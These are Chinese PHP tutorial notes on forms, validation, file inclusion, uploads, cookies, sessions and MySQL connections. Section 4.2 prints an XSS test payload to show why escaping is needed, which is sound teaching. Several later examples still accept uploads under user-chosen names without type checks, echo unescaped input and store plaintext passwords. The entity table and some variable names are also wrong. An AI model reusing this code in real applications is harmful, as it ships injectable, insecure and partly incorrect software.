PHP 基础知识1-3
PHP 基础4-6
4/6、PHP表单 {#46、php表单}
4.1 表单 {#41-表单}
PHP 中的 $_GET 和 $_POST 变量用于检索表单中的信息,比如用户输入。
有一点很重要的事情值得注意,当处理 HTML 表单时,PHP 能把来自 HTML 页面中的表单元成可供 PHP 脚本使用。
下面的实例包含了一个 HTML 表单,带有两个输入框和一个提交按钮。
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<form action="welcome.php" method="post">
名字: <input type="text" name="fname">
年龄: <input type="text" name="age">
<input type="submit" value="提交">
</form>
</body>
</html>
当用户填写完上面的表单并点击提交按钮时,表单的数据会被送往名为 "welcome.php" 的 PHP 文件:
<html>
<head>
<meta charset="utf-8">
</head>
欢迎<?php echo $_POST["fname"]; ?>!<br>
你的年龄是 <?php echo $_POST["age"]; ?>
</html>
PHP 获取下拉菜单的数据 {#php-获取下拉菜单的数据}
PHP 下拉菜单单选 {#php-下拉菜单单选}
<html>
<head>
<meta charset="utf-8">
</head>
//请补充PHP代码
//要求选择用户选择对应的站点以后回显网站的完整url
<form action="" method="get">
<select name="q">
<option value="">选择一个站点:</option>
<option value="baidu">Runoob</option>
<option value="google">Google</option>
<option value="taobao">Taobao</option>
</select>
<input type="submit" value="提交">
</form>
</form>
完整代码如下:
<html>
<head>
<meta charset="utf-8">
</head>
<!--
请补充PHP代码
要求选择用户选择对应的站点以后回显网站的url
-->
<?php
$q=$_GET['q'];
if($q=="baidu"){
echo "www.baidu.com";
}elseif($q=="google"){
echo "www.google.com";
}elseif($q=="taobao"){
echo "www.taobao.com";
}
?>
<form action="" method="get">
<select name="q">
<option value="">选择一个站点:</option>
<option value="baidu">Baidu</option>
<option value="google">Google</option>
<option value="taobao">Taobao</option>
</select>
<input type="submit" value="提交">
</form>
</form>
PHP 下拉菜单多选 {#php-下拉菜单多选}
如果下拉菜单是多选的( multiple="multiple"),我们可以通过将设置 select name="q[]" 以数组的方式获取,以下使用 POST 方式提交,代码如下所示:
<html>
<head>
<meta charset="utf-8">
</head>
<!-- 补充代码,要求用户选中对应的网站的时候可以传值完后同时输出内容 -->
<form action="" method="post">
<select multiple="multiple" name="q">
<option value="">选择一个站点:</option>
<option value="BAIDU">BAIDU</option>
<option value="GOOGLE">Google</option>
<option value="TAOBAO">Taobao</option>
</select>
<input type="submit" value="提交">
</form>
</form>
完整代码如下:
<html>
<head>
<meta charset="utf-8">
</head>
<?php
$a = $_POST['q'];
foreach($a as $aa){
echo $aa."</br>";
}
?>
<!-- 补充代码,要求用户选中对应的网站的时候可以传值完后同时输出内容 -->
<form action="" method="post">
<select multiple="multiple" name="q[]">
<option value="">选择一个站点:</option>
<option value="Baidu">Baidu</option>
<option value="GOOGLE">Google</option>
<option value="TAOBAO">Taobao</option>
</select>
<input type="submit" value="提交">
</form>
单选按钮表单 {#单选按钮表单}
PHP 单选按钮表单中 name 属性的值是一致的,value 值是不同的,代码如下所示:
<html>
<head>
<meta charset="utf-8">
</head>
<form action="" method="get">
<input type="radio" name="q" value="RUNOOB" />Runoob
<input type="radio" name="q" value="GOOGLE" />Google
<input type="radio" name="q" value="TAOBAO" />Taobao
<input type="submit" value="提交">
</form>
checkbox 复选框 {#checkbox-复选框}
PHP checkbox 复选框可以选择多个值:
<head>
<meta charset="utf-8">
</head>
<form action="" method="post">
<input type="checkbox" name="q[]" value="RUNOOB"> Runoob<br>
<input type="checkbox" name="q[]" value="GOOGLE"> Google<br>
<input type="checkbox" name="q[]" value="TAOBAO"> Taobao<br>
<input type="submit" value="提交">
</form>
4.2 表单验证 {#42-表单验证}
本章节我们将介绍如何使用PHP验证客户端提交的表单数据。
在处理PHP表单时我们需要考虑安全性。
本章节我们将展示PHP表单数据安全处理,为了防止黑客及垃圾信息我们需要对表单进行数据安全验证。
在本章节介绍的HTML表单中包含以下输入字段: 必须与可选文本字段,单选按钮,及提交按钮:
需求如下:
1、需要一个注册页面的处理系统
| 字段 | 验证规则 | |--------|----------------------| | 名字 | 可以输入字符串 | | E-mail | 可以输入字符串 | | 爱好 | 多选(足球、篮球、羽毛球、看书、写字;) | | 备注 | 多行输入字段(文本域) | | 性别 | 单选(男、女) |
首先实现起来,按照我们所学,可以很轻易的写出基本框架
<head>
<meta charset="utf-8">
</head>
<form action="" method="post">
名字:
<input type="text" name="name" > <br>
邮件:
<input type="text" name="email" ><br>
爱好:
<input type="checkbox" name="aihao[]" value="足球" >足球
<input type="checkbox" name="aihao[]" value="篮球">篮球
<input type="checkbox" name="aihao[]" value="羽毛球">羽毛球
<input type="checkbox" name="aihao[]" value="看书">看书
<input type="checkbox" name="aihao[]" value="写字">写字
<input type="checkbox" name="aihao[]"><br>
备注:
<textarea name="beizhu" ></textarea><br>
性别:
<input type="radio" name="xingbie" value="男">男<input type="radio" name="xingbie" value="女">女<br>
<input type="submit" value="提交">
</form>
value="提交">
</form>
写入后端页面,要求可以接收到数据用户输入的数据
<?php
$name=$_REQUEST['name'];
$email=$_REQUEST['email'];
$aihao=$_REQUEST['aihao'];
$beizhu=$_REQUEST['beizhu'];
$xingbie=$_REQUEST['xingbie'];
echo "名字为:".$name."</br>";
echo "邮箱为:".$email."</br>";
echo "爱好为:";
foreach($aihao as $ah){
echo $ah." ";
};
echo "</br>备注为:".$beizhu."</br>";
echo "性别为:".$xingbie."</br>";
?>
但是其实只是这样简单的写,就已经产生了安全漏洞,这就是安全漏洞的由来
一般的程序员只会考虑用户的需求,不会考虑安全问题
XSS攻击代码:<script>alert('xss');</script>
加固方法:
什么是 htmlspecialchars()方法?
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 &#gt
> (大于) 成为 &#gt
加固后的完整代码:
<head>
<meta charset="utf-8">
</head>
<?php
$name=htmlspecialchars($_REQUEST['name']);
$email=htmlspecialchars($_REQUEST['email']);
$aihao=$_REQUEST['aihao'];
$beizhu=htmlspecialchars($_REQUEST['beizhu']);
$xingbie=htmlspecialchars($_REQUEST['xingbie']);
echo "名字为:".$name."</br>";
echo "邮箱为:".$email."</br>";
echo "爱好为:";
if($aihao!=""){
foreach($aihao as $ah){
echo htmlspecialchars($ah)." ";}
}else{
echo "没有爱好</br>";
}
echo "</br>备注为:".$beizhu."</br>";
echo "性别为:".$xingbie."</br>";
?>
<form action="" method="post">
名字:
<input type="text" name="name" > <br>
邮件:
<input type="text" name="email" ><br>
爱好:
<input type="checkbox" name="aihao[]" value="足球" >足球
<input type="checkbox" name="aihao[]" value="篮球">篮球
<input type="checkbox" name="aihao[]" value="羽毛球">羽毛球
<input type="checkbox" name="aihao[]" value="看书">看书
<input type="checkbox" name="aihao[]" value="写字">写字
<input type="checkbox" name="aihao[]"><br>
备注:
<textarea name="beizhu" ></textarea><br>
性别:
<input type="radio" name="xingbie" value="男">男<input type="radio" name="xingbie" value="女">女<br>
<input type="submit" value="提交">
</form>
4.3 必填以及验证 {#43-必填以及验证}
| 名字 | 必须。 +只能包含字母和空格 | |--------|---------------------------------| | E-mail | 必须。 + 必须是一个有效的电子邮件地址(包含'@'和'.') | | 爱好 | 可选,多选(足球、篮球、羽毛球、看书、写字;) | | 备注 | 可选。多行输入字段(文本域) | | 性别 | 必须。 必须选择一个 |
如果在前面的章节中,所有输入字段都是可选的。
在以下代码中我们加入了一些新的变量: $nameErr, $emailErr, $genderErr, 和 $websiteErr.。这些错误变量将显示在必需字段上。 我们还为每个$_POST变量增加了一个if else语句。 这些语句将检查 $_POST 变量是 否为空(使用php的 empty() 函数)。如果为空,将显示对应的错误信息。 如果不为空,数据将传递给test_input() 函数:
除去基本的if判断语句,可以判断是否为空,还有一个函数也可以继续判断
empty()函数,使用用法如下:
<?php
$a="123321";
echo empty($a);
?>
结合if判断
<?php
$a="";
if(empty($a)){
echo "kong";
}else{
echo "bukong";
}
?>
最终完整的代码如下:
<head>
<meta charset="utf-8">
</head>
<?php
$name=htmlspecialchars($_REQUEST['name']);
$email=htmlspecialchars($_REQUEST['email']);
$aihao=$_REQUEST['aihao'];
$beizhu=htmlspecialchars($_REQUEST['beizhu']);
$xingbie=htmlspecialchars($_REQUEST['xingbie']);
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if(empty($name)){
$nameErr="名字不能为空";
}elseif(empty($email)){
$emailErr="邮件不能为空";
}
elseif(empty($xingbie)){
$xingbieErr="性别不能为空";
}else{
$name="名字为:".$name."</br>";
$email="邮箱为:".$email."</br>";
$beizhu="</br>备注为:".$beizhu."</br>";
$xingbie="性别为:".$xingbie."</br>";
}}
?>
<form action="" method="post">
名字(*):
<input type="text" name="name" > <br>
<?php echo $nameErr."<br>";?>
邮件(*):<?php echo $emailErr;?>
<input type="text" name="email" ><br>
<?php echo $nemailErr."<br>";?>
爱好:
<input type="checkbox" name="aihao[]" value="足球" >足球
<input type="checkbox" name="aihao[]" value="篮球">篮球
<input type="checkbox" name="aihao[]" value="羽毛球">羽毛球
<input type="checkbox" name="aihao[]" value="看书">看书
<input type="checkbox" name="aihao[]" value="写字">写字
<input type="checkbox" name="aihao[]"><br>
备注:
<textarea name="beizhu" ></textarea><br>
性别(*):<?php echo $xingbieErr;?>
<input type="radio" name="xingbie" value="男">男<input type="radio" name="xingbie" value="女">女<br>
<?php echo $xingbieErr."<br>";?>
<input type="submit" value="提交">
</form>
<?php
echo $name;
echo $email;
if($aihao!=""){
foreach($aihao as $ah){
echo "爱好:".$ah=htmlspecialchars($ah)." ";}
}else{
echo "没有爱好</br>";
}
echo $beizhu;
echo $xingbie;
?>
4.4 PHP文件包含 {#44-php文件包含}
在 PHP 中,您可以在服务器执行 PHP 文件之前在该文件中插入一个文件的内容。
include 和 require 语句用于在执行流中插入写在其他文件中的有用的代码。
include 和 require 除了处理错误的方式不同之外,在其他方面都是相同的:
- require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。
- include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行。
因此,如果您希望继续执行,并向用户输出结果,即使包含文件已丢失,那么请使用 include。否则,在框架、CMS 或者复杂的 PHP 应用程序编程中,请始终使用 require 向执行流引用关键文件。这有助于提高应用程序的安全性和完整性,在某个关键文件意外丢失的情况下。
包含文件省去了大量的工作。这意味着您可以为所有网页创建标准页头、页脚或者菜单文件。然后,在页头需要更新时,您只需更新这个页头包含文件即可。
include 'filename';
或者
require 'filename';
PHP include 和 require 语句 {#php-include-和-require-语句}
基础实例 {#基础实例}
假设您有一个标准的页头文件,名为 "header.php"。如需在页面中引用这个页头文件,请使用 include/require:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php include 'header.php'; ?>
<h1>欢迎来到我的主页!</h1>
<p>一些文本。</p>
</body>
</html>
演示:
变量也可包含,被包含的文件2.php:
<?php
$a="aaaaa";
?>
主文件:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
include '2.txt';
echo $a;
?>
</body>
</html>
4.5 文件以及文件上传 {#45-文件以及文件上传}
通过 PHP,可以把文件上传到服务器。
本章节实例在 test 项目下完成,目录结构为:
|-----upload # 文件上传的目录
|-----index.html # 表单文件
|-----upload.php # php 上传代码
创建一个文件上传表单 {#创建一个文件上传表单}
允许用户从表单上传文件是非常有用的。
请看下面这个供上传文件的 HTML 表单:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
将以上代码保存到 index.html 文件中。
有关上面的 HTML 表单的一些注意项列举如下:
- 标签的 enctype 属性规定了在提交表单时要使用哪种内容类型。在表单需要二进制数据时,比如文件内容,请使用 "multipart/form-data"。
- 标签的 type="file" 属性规定了应该把输入作为文件来处理。举例来说,当在浏览器中预览时,会看到输入框旁边有一个浏览按钮。
**注释:**允许用户上传文件是一个巨大的安全风险。请仅仅允许可信的用户执行文件上传操作。
创建上传脚本 {#创建上传脚本}
"upload.php" 文件含有供上传文件的代码:
<head>
<meta charset="utf-8">
</head>
<?php
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
?>
增加防止上传文件报错提示
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "错误:" . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
?>
第一个参数是表单的 input name,第二个下标可以是 "name"、"type"、"size"、"tmp_name" 或 "error"。如下所示:
- $_FILES["file"]["name"] - 上传文件的名称
- $_FILES["file"]["type"] - 上传文件的类型
- $_FILES["file"]["size"] - 上传文件的大小,以字节计
- $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
- $_FILES["file"]["error"] - 由文件上传导致的错误代码
这是一种非常简单文件上传方式。基于安全方面的考虑,您应当增加有关允许哪些用户上传文件的限制。
上传限制 {#上传限制}
<head>
<meta charset="utf-8">
</head>
<?php
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);//explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
$extension = end($temp); // 获取数组最后的数值
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
}
else
{
echo "非法的文件格式";
}
?>
保存被上传的文件 {#保存被上传的文件}
上面的实例在服务器的 PHP 临时文件夹中创建了一个被上传文件的临时副本。
这个临时的副本文件会在脚本结束时消失。要保存被上传的文件,我们需要把它拷贝到另外的位置:
<head>
<meta charset="utf-8">
</head>
<?php
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
echo $_FILES["file"]["size"];
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";
// 判断当前目录下的 upload 目录是否存在该文件
// 如果没有 upload 目录,你需要创建它,upload 目录权限为 777
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}
}
else
{
echo "非法的文件格式";
}
?>
4.6 cookie {#46-cookie}
cookie 常用于识别用户。
cookie 常用于识别用户。cookie 是一种服务器留在用户计算机上的小文件。每当同一台计算机通过浏览器请求页面时,这台计算机将会发送 cookie。通过 PHP,您能够创建并取回 cookie 的值。
如何创建 Cookie? {#如何创建-cookie?}
setcookie() 函数用于设置 cookie。
**注释:**setcookie() 函数必须位于 标签之前。
setcookie(name, value, expire, path, domain);
| 参数 | 描述 | |----------|----------------------------------| | name | 必需。规定 cookie 的名称。 | | value | 必需。规定 cookie 的值。 | | expire | 可选。规定 cookie 的有效期。 | | path | 可选。规定 cookie 的服务器路径。 | | domain | 可选。规定 cookie 的域名。 | | secure | 可选。规定是否通过安全的 HTTPS 连接来传输 cookie。 |
在下面的例子中,我们将创建名为 "user" 的 cookie,并为它赋值 "runoob"。我们也规定了此 cookie 在一小时后过期:
<?php
setcookie("user", "admin", time()+3600);
?>
<html>
**注释:**在发送 cookie 时,cookie 的值会自动进行 URL 编码,在取回时进行自动解码。(为防止 URL 编码,请使用 setrawcookie() 取而代之。)
实例 2 {#实例-2}
您还可以通过另一种方式设置 cookie 的过期时间。这也许比使用秒表示的方式简单。
<?php
$expire=time()+60*60*24*30;
setcookie("user", "runoob", $expire);
?>
<html>
.....
如何取回 Cookie 的值? {#如何取回-cookie-的值?}
PHP 的 $_COOKIE 变量用于取回 cookie 的值。
在下面的实例中,我们取回了名为 "user" 的 cookie 的值,并把它显示在了页面上:
<?php
$expire=time()+60*60*24*30;
setcookie("user", "runoob", $expire);
// 输出 cookie 值
echo $_COOKIE["user"];
// 查看所有 cookie
var_dump($_COOKIE);
?>
在下面的实例中,我们使用 isset() 函数来确认是否已设置了 cookie:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
if (isset($_COOKIE["user"]))
echo "欢迎 " . $_COOKIE["user"] . "!<br>";
else
echo "普通访客!<br>";
?>
</body>
</html>
如何删除 Cookie? {#如何删除-cookie?}
当删除 cookie 时,您应当使过期日期变更为过去的时间点。
删除的实例:
<?php
// 设置 cookie 过期时间为过去 1 小时
setcookie("user", "", time()-3600);
?>
4.7 session {#47-session}
PHP session 变量用于存储关于用户会话(session)的信息,或者更改用户会话(session)的设置。Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的。
PHP Session 变量 {#php-session-变量}
您在计算机上操作某个应用程序时,您打开它,做些更改,然后关闭它。这很像一次对话(Session)。计算机知道您是谁。它清楚您在何时打开和关闭应用程序。然而,在因特网上问题出现了:由于 HTTP 地址无法保持状态,Web 服务器并不知道您是谁以及您做了什么。
PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。
Session 的工作机制是:为每个访客创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,或者通过 URL 进行传导。
开始 PHP Session {#开始-php-session}
在您把用户信息存储到 PHP session 中之前,首先必须启动会话。
**注释:**session_start() 函数必须位于 标签之前:
<?php session_start(); ?>
<html>
<body>
</body>
</html>
上面的代码会向服务器注册用户的会话,以便您可以开始保存用户信息,同时会为用户会话分配一个 UID。
存储 Session 变量 {#存储-session-变量}
存储和取回 session 变量的正确方法是使用 PHP $_SESSION 变量:
<?php
session_start();
// 存储 session 数据
$_SESSION['views']=1;
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
// 检索 session 数据
echo "浏览量:". $_SESSION['views'];
?>
</body>
</html>
在下面的实例中,我们创建了一个简单的 page-view 计数器。isset() 函数检测是否已设置 "views" 变量。如果已设置 "views" 变量,我们累加计数器。如果 "views" 不存在,则创建 "views" 变量,并把它设置为 1:
<?php
session_start();
if(isset($_SESSION['views']))
{
$_SESSION['views']=$_SESSION['views']+1;
}
else
{
$_SESSION['views']=1;
}
echo "浏览量:". $_SESSION['views'];
?>
销毁 Session {#销毁-session}
如果您希望删除某些 session 数据,可以使用 unset() 或 session_destroy() 函数。
unset() 函数用于释放指定的 session 变量:
<?php
session_start();
if(isset($_SESSION['views']))
{
unset($_SESSION['views']);
}
?>
您也可以通过调用 session_destroy() 函数彻底销毁 session:
<?php
session_destroy();
?>
实验五:简单的注册页面 {#实验五:简单的注册页面}
需求:
1、开始动手写一个页面吧
2、编写一个网站的登录页面
3、在登录页面下面要包含一个注册页面的超链接
4、点击超链接,则可以开始注册
5、注册页面包含,注册所用的账号、密码、手机号码、喜欢的图片上传
6、其中账号和密码以及手机号码为必填项,喜欢的图片为选填
7、注册成功直接回显到注册页面
网站首页如下
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h1>欢迎来到此页面进行登录</h1>
<form action="yanzheng.php" method="POST">
<input type="name" value="请输入账号" ></br>
<input type="password" value=""></br>
<input type="submit">
</form>
<a href="zhuce.php">注册用户</a>
</body>
</html>
注册页面如下:
<head>
<meta charset="utf-8">
</head>
<?php
$name=$_POST['neme'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$name=$_FILES['touxiang'];
echo $name,$password1,$password2,$shouji,$name;
?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入手机号码:
<input type="passwrd" name="shouji" ><br>
上传头像:
<input type="file" name="touxiang" ><br>
<input type="submit" value="提交">
</form>
开始完善各个规则【账号和密码以及手机号码为必填项】,密码验证等
<head>
<meta charset="utf-8">
</head>
<?php
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
if(empty($name) ||
empty($password1) ||
empty($password2) ||
empty($shouji)){
$ERR="账号密码、手机号码不能为空";
//密码长度8位,密码两次输入一致
//密码验证
//手机11位
//文件上传jpg
}elseif(strlen($password1)<8){
$ERR="密码长度不足八位";
}elseif($password1!=$password2){
$ERR="两次输入密码不一致";
}elseif(strlen($shouji)!="11"){
$ERR="手机号码格式有问题";
}else{
$ERR="注册成功";
echo $_FILES["tupian"]["name"];
if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
}else{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
// echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
}
}
}
?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入手机号码:
<input type="passwrd" name="shouji" ><br>
上传头像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">
</form>
<?php
echo $ERR;
echo "你注册的用户为:".$name."</br>";
echo "你注册的手机号码:".$shouji."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>">
5/6、PHP数据库 {#56、php数据库}
5.1 MYSQL 简介 {#51-mysql-简介}
通过 PHP,您可以连接和操作数据库。
MySQL 是跟 PHP 配套使用的最流行的开源数据库系统。
MySQL 是什么? {#mysql-是什么?}
- MySQL 是一种在 Web 上使用的数据库系统。
- MySQL 是一种在服务器上运行的数据库系统。
- MySQL 不管在小型还是大型应用程序中,都是理想的选择。
- MySQL 是非常快速,可靠,且易于使用的。
- MySQL 支持标准的 SQL。
- MySQL 在一些平台上编译。
- MySQL 是免费下载使用的。
- MySQL 是由 Oracle 公司开发、发布和支持的。
- MySQL 是以公司创始人 Monty Widenius's daughter: My 命名的。
MySQL 中的数据存储在表中。表格是一个相关数据的集合,它包含了列和行。
在分类存储信息时,数据库非常有用。一个公司的数据库可能拥有以下表:
- Employees
- Products
- Customers
- Orders
PHP + MySQL {#php--mysql}
PHP 与 MySQL 结合是跨平台的。(您可以在 Windows 上开发,在 Unix 平台上应用。)
查询 {#查询}
查询是一种询问或请求。
通过 MySQL,我们可以向数据库查询具体的信息,并得到返回的记录集。
请看下面的查询(使用标准 SQL):
mysql> SELECT name FROM websites;
+---------------+
| name |
+---------------+
| Google |
| 淘宝 |
| 微博 |
| Facebook |
| stackoverflow |
+---------------+
5 rows in set (0.00 sec)
语句 **set names utf8;**用于设定数据库编码,让中文可以正常显示。
上面的查询选取了 "websites" 表中 "name" 列的所有数据。
5.2 MYSQL 连接 {#52-mysql-连接}
PHP 连接 MySQL {#php-连接-mysql}
PHP 5 及以上版本建议使用以下方式连接 MySQL :
- MySQLi extension ("i" 意为 improved)
- **PDO (PHP Data **Objects)
在 PHP 早期版本中我们使用 MySQL 扩展。但该扩展在 2012 年开始不建议使用。
我是该用 MySQLi ,还是 PDO? {#我是该用-mysqli-,还是-pdo}
如果你需要一个简短的回答,即 "你习惯哪个就用哪个"。
MySQLi 和 PDO 有它们自己的优势:
PDO 应用在 12 种不同数据库中, MySQLi 只针对 MySQL 数据库。
所以,如果你的项目需要在多种数据库中切换,建议使用 PDO ,这样你只需要修改连接字符串和部分查询语句即可。 使用 MySQLi, 如果不同数据库,你需要重新编写所有代码,包括查询。
两者都是面向对象, 但 MySQLi 还提供了 API 接口。
两者都支持预处理语句。 预处理语句可以防止 SQL 注入,对于 web 项目的安全性是非常重要的。
MySQLi 和 PDO 连接 MySQL 实例 {#mysqli-和-pdo-连接-mysql-实例}
在本章节及接下来的章节中,我们会使用以下三种方式来演示 PHP 操作 MySQL:
- MySQLi (面向对象)
- MySQLi (面向过程)
- PDO
## MySQLi 安装 {#-mysqli-安装}
可以通过 phpinfo() 查看是否安装成功:
连接 MySQL {#连接-mysql}
在我们访问 MySQL 数据库前,我们需要先连接到数据库服务器:
实例 (MySQLi - 面向对象)
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "username";
$password = "password";
// 创建连接
$conn = new mysqli($servername, $username, $password);
// 检测连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
echo "连接成功";
?>
注意在以上面向对象的实例中 $connect_error 是在 PHP 5.2.9 和 5.3.0 中添加的。如果你需要兼容更早版本 请使用以下代码替换:
// 检测连接
if (mysqli_connect_error()) {
die("数据库连接失败: " . mysqli_connect_error());
}
实例 (MySQLi - 面向过程)
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "123456";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
// 检测连接
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
echo "连接成功";
?>
实例 (PDO)
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "123456";
try {
$conn = new PDO("mysql:host=$servername;", $username, $password);
echo "连接成功";
}
catch(PDOException $e)
{
echo $e->getMessage();
}
?>
//try{代码}catch{前面代码报错,执行}
关闭连接 {#关闭连接}
连接在脚本执行完后会自动关闭。你也可以使用以下代码来关闭连接:
连接在脚本执行完后会自动关闭。你也可以使用以下代码来关闭连接:
实例 (MySQLi - 面向对象)
$conn->close();
实例 (MySQLi - 面向过程)
mysqli_close($conn);
实例 (PDO)
$conn = null;
5.3 创建数据库与表,插入数据 {#53-创建数据库与表,插入数据}
数据库存有一个或多个表。
你需要 CREATE 权限来创建或删除 MySQL 数据库。
数据库的整体结构如下:
电脑(服务器)->数据库软件(mysql、mssql、甲骨文、mariadb....)->
数据库-> 表->字段
数据库进入方法:
1、直接进入
2、使用软件连接
3、使用phpmyadmin //注意,PHP版本要高于7.0才可以直接使用
进入sql代码,在mysql的bin路径输入
.\mysql.exe -h 127.0.0.1 -u root -p
数据库操纵语句
查询MySQL内的数据库
show databases;
创建库
create database kkk;
删除库
drop database kkk;
创建表,之前需要先构思好表单的结构,然后创建每个表的属性
比如:
<style> </style>
| id | user | pass | phone | |------|-------|--------|-------------| | 1 | admin | 123456 | 13800000000 | | 自增数字 | 字符串 | 字符串 | 数字 |
最后形成代码如下:
use kkk; //进入库
//创建kkk_tbl表
CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` INT(11) NOT NULL,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
- NOT NULL - 每一行都必须含有值(不能为空),null 值是不允许的。
- DEFAULT value - 设置默认值
- UNSIGNED - 使用无符号数值类型,0 及正数
- AUTO INCREMENT - 设置 MySQL 字段的值在新增记录时每次自动增长 1
- PRIMARY KEY - 设置数据表中每条记录的唯一标识。 通常列的 PRIMARY KEY 设置为 ID 数值,与 AUTO_INCREMENT 一起使用。
查看表的框架
desc kkk_tbl;
+-------+------------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------+------------------+------+-----+---------+----------------+ | id | int(10) unsigned | NO | PRI | NULL | auto_increment | | user | varchar(10) | NO | | NULL | | | pass | varchar(10) | NO | | NULL | | | phone | int(11) | NO | | NULL | | +-------+------------------+------+-----+---------+----------------+
增加数据
insert into kkk_tbl(user,pass,phone) values('admin','123456','1380000000');
删除数据
delete from kkk_tbl where user="admin";
接下来开始PHP联动
首先php创建数据库
//面向过程
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "123456";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}
// 创建数据库
